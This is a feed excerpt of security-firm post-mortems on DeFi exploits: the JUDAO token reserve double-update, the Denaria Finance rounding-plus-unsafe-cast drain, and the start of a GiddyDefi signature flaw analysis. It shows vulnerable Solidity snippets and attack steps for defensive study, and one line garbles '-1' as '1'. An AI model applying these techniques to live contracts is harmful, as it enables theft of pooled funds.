srcset="https://substackcdn.com/image/fetch/$s_!R3UB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 424w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 848w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 1272w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!R3UB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png" width="1368" height="1276" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1276,&quot;width&quot;:1368,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:356840,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!R3UB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 424w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 848w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 1272w, https://substackcdn.com/image/fetch/$s_!R3UB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F03b79eac-5150-4dca-a834-0a8c19f62208_1368x1276.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the customized <code>_update</code> function of the JUDAO token, there is a code path that updates the pool reserves twice. First, during the <code>sync()</code> call, JUDAO burns <code>deadAmount</code> from the pool and transfers the remaining portion to itself (events 149 and 154 in our trace), then invokes <code>basePair.sync()</code>.</p><p>Later, execution returns to the <code>_update()</code> function, where <code>isBurnPair</code> may be set to <code>true</code> by <code>getSellFee()</code> if the price increase does not exceed 5% compared to the previous day. In that case, JUDAO burns half of the amount again, transfers the other half to itself, and triggers another <code>basePair.sync()</code> call, causing the pool reserves to be updated a second time.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!VIDB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!VIDB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 424w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 848w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 1272w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!VIDB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png" width="1456" height="1087" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1087,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:292520,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!VIDB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 424w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 848w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 1272w, https://substackcdn.com/image/fetch/$s_!VIDB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e647ae1-0023-44a4-b79c-08ebb0fce197_1564x1168.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This overlap causes <code>_reserve1</code> (the reserve corresponding to the JUDAO token itself) to become lower than its correct value. As a result, the price of JUDAO in the pool is artificially inflated, allowing the attacker to profit by selling JUDAO at an elevated price. This constitutes the root cause of the incident.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!QO-E!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!QO-E!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 424w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 848w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 1272w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!QO-E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png" width="1137" height="284" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:284,&quot;width&quot;:1137,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:123460,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/197298687?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!QO-E!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 424w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 848w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 1272w, https://substackcdn.com/image/fetch/$s_!QO-E!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F753a02c5-78c5-41ae-9d03-95dd1fca3c13_1137x284.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>At the end of the attack, the attacker used a portion of the drained USDT to purchase 36 BNB, then transferred all available assets to his own address.</p><h1>Summary</h1><p>The root cause of this incident was a flaw in the token&#8217;s customized liquidity and balance update logic. Due to incorrect reserve accounting, the liquidity pool temporarily calculated an artificially high token price, which the attacker exploited to sell tokens at inflated values and drain a significant amount of assets from the pool. This incident demonstrates how small mistakes in custom smart contract logic - especially around liquidity pool interactions, token burns, or balance synchronization - can result in severe financial damage. Projects introducing non-standard token mechanics should always undergo comprehensive smart contract audits and security reviews before deployment to identify these edge cases early.</p>]]></content:encoded></item><item><title><![CDATA[Denaria Finance Exploit: When divCeil Meets an Unsafe Cast]]></title><description><![CDATA[On April 5, 2026, the decentralized perpetual exchange Denaria Finance on the Linea blockchain fell victim to an exploit that resulted in a loss of approximately $165,618 USDC.]]></description><link>https://blog.verichains.io/p/denaria-finance-exploit-when-divceil</link><guid isPermaLink="false">https://blog.verichains.io/p/denaria-finance-exploit-when-divceil</guid><dc:creator><![CDATA[lifebow]]></dc:creator><pubDate>Wed, 06 May 2026 09:01:18 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!XZCb!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F20abd958-d8c9-49ef-8c21-44117564e63e_1280x1280.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On April 5, 2026, the decentralized perpetual exchange Denaria Finance on the Linea blockchain fell victim to an exploit that resulted in a loss of approximately $165,618 USDC. This analysis breaks down the attack mechanics and pinpoints the root cause of the vulnerability.</p><h2>Incident Overview</h2><p><strong>Date:</strong> Apr 05, 2026 </p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><strong>Platform:</strong> Linea </p><p><strong>Attacker Address:</strong> 0x8d6778d7fae00ad2e0bc12194cf03b756fed9db3 </p><p><strong>Vulnerable Contract:</strong> 0xb68396dd4230253d27589e2004ac37389836ae17 (PerpPair on Linea) </p><p><strong>Attack Transaction:</strong> 0xcb0744a0d453e5556f162608fae8275dabd14292bffbfcd8394af4610c606447</p><h2>Exploit Mechanics</h2><p>First, the attacker used a flash loan from AAVE as initial capital and deployed multiple helper contracts acting as LPs and traders.</p><p>Next, the attacker provided <strong>one-sided liquidity as an LP (only vUSD, zero asset)</strong>. At this moment the contract snapshots the <strong>inverse</strong> of the current <code>liquidityM</code> matrix into the attacker&#8217;s position:</p><pre><code><code>// perpLiquidity.sol line 147
liquidityPos.inverseSnapshotM = MatrixMath.inverseTwoByTwo(liquidityM, decimals.liquidityMDecimals);
</code></code></pre><p>Following that, the helper trader executed a trade. During trade execution, <code>liquidityM</code> is updated using an <strong>asymmetric rounding scheme</strong> in <code>perpTrade.sol</code>:</p><pre><code><code>// perpTrade.sol lines 295-298 (LONG trade path)
liquidityM[0][0] += aY * m10 / liqMDec;                 // floor division (rounds DOWN)
liquidityM[0][1] += aY * m11 / liqMDec;                      // floor division
liquidityM[1][0] = m10 - UtilMath.divCeil(aX * m10, liqMDec); // divCeil (rounds UP)
liquidityM[1][1] = m11 - UtilMath.divCeil(aX * m11, liqMDec); // divCeil (rounds UP)
</code></code></pre><p>The <code>divCeil</code> function rounds <strong>up</strong> on subtractions, while additions use standard floor division. This means each trade subtracts <strong>slightly more</strong> than the exact math dictates &#8212; a net loss of ~1 wei per trade that accumulates in <code>liquidityM</code>.</p><p>When <code>getLpLiquidityBalance()</code> was subsequently called, it computed <code>actualM = M(t) * M^-1(t0)</code> using the drifted <code>liquidityM</code> and the previously snapshotted inverse. Due to the accumulated <code>divCeil</code> rounding, <code>actualM[1][0]</code> evaluated to <code>-1</code> instead of <code>0</code>:</p><pre><code><code>// internalPerpLogic.sol lines 38-54
int256[2][2] memory actualM =
    MatrixMath.matMulTwoByTwo(liquidityM, position.inverseSnapshotM, decimals.liquidityMDecimals);

int256 m10 = actualM[1][0]; // becomes -1 due to divCeil rounding

// VULNERABILITY: direct unsafe cast from int256 to uint256
lpAssetBalance = uint256((initialStableBalance * m10 + initialAssetBalance * m11) / d);
</code></code></pre><p>With the attacker&#8217;s stable-only deposit (<code>initialStableBalance = D + 1</code>, <code>initialAssetBalance = 0</code>), the dot product resolved to:</p><pre><code><code>((D+1) * (-1) + 0 * m11)/D  =  -(D+1) / D = -1(Solidity integer division toward zero)</code></code></pre><p>The unsafe cast then triggered a full <code>uint256</code> underflow:</p><pre><code><code>uint256(-1) == 115792089237316195423570985008687907853269984665640564039457584007913129639935
            == type(uint256).max
</code></code></pre><p>A subsequent cap guard clamped this to <code>globalLiquidityAsset</code>, effectively giving the attacker a claim over <strong>100% of the asset pool</strong>. The attacker then called <code>realizePnL</code> to convert this inflated balance into USDC and withdraw from the vault, draining <strong>$165,618 USDC</strong>.</p><h3>Root Cause</h3><p>The root cause is the interaction between two issues:</p><ol><li><p><strong>Rounding asymmetry in trade execution</strong> (<code>perpTrade.sol</code>): Additions use <code>floor</code> division while subtractions use <code>divCeil</code>. Each trade erodes matrix elements by ~1 wei more than exact math. After ~8 trades, this accumulated error makes <code>actualM[1][0]</code> go from <code>0</code> to <code>1</code>.</p></li><li><p><strong>Unsafe </strong><code>int256</code><strong> &#8594; </strong><code>uint256</code><strong> cast</strong> (<code>internalPerpLogic.sol</code> lines 53-54): The dot-product result is cast directly without checking for negativity. When the result is <code>1</code>, the cast wraps to <code>type(uint256).max</code>.</p></li></ol><p>Individually, neither issue would have been critical. The rounding alone only introduces sub-wei inaccuracies, and the unsafe cast is harmless without a negative input. Their combination made the exploit possible.</p><h2>Lesson learned</h2><ul><li><p><strong>Never Use Unsafe </strong><code>int256</code><strong> &#8594; </strong><code>uint256</code><strong> Casts</strong></p><p>Always check <code>value &gt;= 0</code> before casting, or use <code>SafeCast.toUint256()</code> which reverts on negative inputs. A result of <code>-1</code> silently becomes <code>type(uint256).max</code> &#8212; the largest possible number &#8212; and no amount of downstream capping fully mitigates this once it has happened.</p></li><li><p><strong>Beware of Asymmetric Rounding in Matrix Arithmetic</strong></p><p>When using <code>floor</code> for additions and <code>divCeil</code> for subtractions in fixed-point matrix operations, each operation creates a net loss of ~1 wei. Over multiple trades, this one-sided rounding accumulates and can flip the sign of matrix elements that should theoretically remain non-negative. Symmetric rounding or explicit rounding-error bounds checks are essential.</p></li><li><p><strong>Beware of Post-Audit Refactors</strong></p><p>The rounding flaw was introduced in a refactor carried out <em>after</em> the completion of the external audit by Consensys Diligence. Any code modification to mathematical core logic must undergo a secondary security review and regression testing before deployment.</p></li></ul><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[When Signing Is Not Secure]]></title><description><![CDATA[GiddyDefi Exploit]]></description><link>https://blog.verichains.io/p/when-signing-is-not-secure</link><guid isPermaLink="false">https://blog.verichains.io/p/when-signing-is-not-secure</guid><dc:creator><![CDATA[TK]]></dc:creator><pubDate>Tue, 05 May 2026 09:25:22 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!7rMS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F90da1b3c-d43f-44da-9ca7-022847861c91_1160x475.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On April 23, 2026, GiddyDefi&#8217;s GiddyVaultV3 contracts on Ethereum were exploited for an estimated loss of approximately $1.3M. The bug was not a flashloan trick or a price manipulation. It was an authorization bug: the vault accepted a backend signature over only part of the swap data, while the unsigned fields still controlled token approvals, call targets, token movement, and balance checks.</p><h2><strong>Overview</strong></h2><p><strong>Attacker:</strong> <a href="https://etherscan.io/address/0x81Fe3D7d35dFeFa15b9E6800B6aeFC3358E7b156">0x81Fe3D7d35dFeFa15b9E6800B6aeFC3358E7b156</a></p><p><strong>Vulnerable Implementation:</strong> <a href="https://etherscan.io/address/0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318#code">0x5f0ad32c00641d1d2bb628ff341e0d4bb4494318</a></p><p><strong>Exploit TX:</strong> <a href="https://etherscan.io/tx/0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5">0x5edb66a4c2ea55bba95d36d27713e3bb1c67c3c4199a8a1759e754c6f25482e5</a></p><h2><strong>Exploit Analysis</strong></h2><p>GiddyVaultV3 uses a signed authorization struct called <strong>VaultAuth</strong>. Every <strong>deposit</strong>, <strong>withdraw</strong>, and <strong>compound</strong> operation validates this authorization before executing.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JwIH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JwIH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 424w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 848w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 1272w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JwIH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png" width="780" height="330" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/aec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:330,&quot;width&quot;:780,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71919,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/196520442?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JwIH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 424w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 848w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 1272w, https://substackcdn.com/image/fetch/$s_!JwIH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faec07df3-8c33-43f3-8d08-63e2a1f7fc30_780x330.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 